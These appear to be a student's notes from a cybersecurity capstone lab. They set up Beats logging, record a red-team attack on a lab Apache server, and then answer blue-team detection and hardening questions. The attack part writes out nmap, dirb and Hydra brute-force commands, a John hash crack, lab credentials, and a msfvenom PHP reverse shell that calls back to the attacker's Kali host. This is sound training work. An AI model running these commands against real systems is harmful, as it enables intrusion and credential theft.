Notes

Setting up Beats on Capstone

This is done for logging that attacks before attacking

• • Log into capstone - Vagrant:tnargav
    • Sudo su
    • Filebeat modules enable apace
    • Filebeat setup
    • Metricbeat modules enable apache
    • Metricbeat setup
    • Packetbeat setup
    • Systemctl restart filebeat
    • Systemctl restart metricbeat
    • Systemctl restart packetbeat

Attacking capstone from kali

• Determine capstone ip
  • Run ifconfig on kali to determine subnet
    • Kali IP | 192.168.1.90
  • Run nmap against 192.168.1.1/24
    • • Nmap 192.168.1.0/24
    • Did not give enough information. Needed to run -sV to get more information
      • Nmap -sV 192.168.1.0/24
    • 192.168.1.100
      • Elastic Search | Ubuntu
    • 192.168.1.105
      • Apache | Ubuntu
    • Open http://192.168.1.105
  • Run dirb against apache server
    • Dirb http://192.168.1.105
      • Returned
        • */server-status

Access Forbiden

• • • • • */webdav

Username:Password login

• • Run Hydra against */company_folders_secret_folder - Find wordlists - Locate rockyou - Cd /usr/share/wordlists - Ls - Gunzip rockyou.txt.gz - Ls - To verify unzip - Hydra help to see options/flags - Ashton manages secret folder - Use username ashton - Hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder - ashton:leopoldo - open connect to corp server - webdav - ryan's account - ryans hash - "d7dad0a5cd7c8376eeb50d69b3ccd352" - Echo d7dad0a5cd7c8376eeb50d69b3ccd352 > hash.txt - John hash.txt - John -show hash.txt - Ryan:linux4u
    • Upload reverse shell php
      • Msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=4445 -f raw > exploit.php
    • Create listener
      • Msfconsole
        • Use exploit/multi/handler
        • Set LHOST 192.168.1.90
        • Set LPORT 4445
        • Set exploit php/reverse_php
      • Exploit
    • Cd /
    • Ls
    • Cat flag.txt

Part 3

Identifying offensive traffic

• When did the attack occur?
  • between 12am and 2 am UTC
• What response did the victim send back?
  • Http Code 401 (Unauthorized)
    • 522,611 hits
• What is concerning from the blue team perspective?
  • There are a lot of unauthorized login attempts.

Find the requests for the hidden directory

• How many requests were made to the directory?
  • 15,583
• Which files were requested?
  • connect_to_corp_server
• What kind of alarm would you set to detect this behavior in the future?
  • Alert if more than x amount of requests in x amount of time
• Identify at least one way to harden the vulnerable machine that would mitigate this request?
  • Don't list anywhere on the website the url

Identify the brute force attack

• Can you identify the packets specifically from hydra?
  • User_agent.original : Mozilla /4.0 (Hydra)
• How many requests were made in the brute force attack?
  • 15,574
• How many requests had the attacker made before discovering the correct password in this one?
• What kind of alarm would you set to detect this behavior in the future and at what threshold?
  • Too many failed logins attempted | 5 per minute
• Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  • Use more secure passwords
  • Don't list usernames on the website
  • Don't allow more than 5 failed logins per minute
  • Lock out account for 10 minutes if exceeds allowable failed logins

Find the WebDav session

• How many requests were made to this directory?
  • 27
• Which files were requested?
  • Meta.php
• What kind of alarm would you set to detect this behavior in the future?
  • Create an alarm that would trigger anytime this directory is accessed by an unauthorized machine.
• Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  • Connections to this folder should not be accessible from web interface
  • Access to this folder should be restricted by machine by firewall rules.

Identify reverse shell and meterpreter traffic

• Can you identify meterpreter session?
  • Yes by destination port 4444. 4444 is meterpreter default port
• What kind of alarm would you set to detect this behavior in the future?
  • Alarm for anything on port 4444
  • Alert for php uploads
• Identify at least one way to harden the vulnerable machine that would mitigate this attack?
  • Remove the ability to upload files